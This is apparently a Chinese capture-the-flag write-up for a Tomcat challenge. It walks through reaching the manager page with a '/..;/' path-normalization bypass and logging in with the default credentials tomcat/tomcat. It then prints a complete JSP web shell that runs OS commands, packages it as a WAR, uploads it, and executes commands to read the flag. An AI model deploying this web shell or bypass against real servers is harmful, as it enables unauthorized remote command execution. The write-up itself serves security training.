2025-08-28-每日一题
[WUSTCTF 2020]train yourself to be godly
打开环境,页面是 examples,
根据题目信息得知当前的 Tomcat 的 root 路径为 examples
apache中的tomcat/webapps目录如下

manage目录是可以上传WAR文件部署服务,也就是说可以通过manage目录实现文件上传,继而实现木马上传
URL路径参数不规范引发的问题:

可以看这篇
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
文章告诉我们可以通过 /..;/manager/html 进入到manager页面
当然也可以通过dirsearch扫目录,也能爆出/…;/页面

进入页面后是这样的
但没其他的了
尝试访问不同的页面,点击Manager App发现有404提示,但是向我们透露了manager页面的路径,加上/…;/路径

即访问/..;/manager/html
登录时要账户和密码
这里是弱密码 tomcat/tomcat
登录成功
之后我们先记录下参数Cookie和Authentication,后面要用

点击查看代码
Authorization:Basic dG9tY2F0OnRvbWNhdA==
JSESSIONID=E5EB89A49EC40D17BE3EB73E6C498F09
有个文件上传页面


要上传一个war为后缀的文件
这里我们先构造一个shell.jsp
点击查看代码
<%@ page pageEncoding="utf-8"%>
<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
之后我们要把这个打包成shell.war
使用命令
jar cvf shell.war shell.jsp

之后我们上传抓包

上传404
根据报错信息明显路径拼结完是example/manager/html/upload,缺少一个/..;/,加一个再试。
接着会发现401,未授权访问。是缺少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。
Authorization: Basic dG9tY2F0OnRvbWNhdA==后面就是tomcat:tomcat的base64编码。
继续上传,发现403。一般问题就出在cookie或者session没给,www没有目录访问权限身上。在cookie后加JSESSIONID=E5EB89A49EC40D17BE3EB73E6C498F09
像这样

就上传成功了
之后就是命令执行了
url/..;/shell/shell.jsp?pwd=admin&cmd=ls /

url/..;/shell/shell.jsp?pwd=admin&cmd=cat /flagggg

拿到flag

浙公网安备 33010602011771号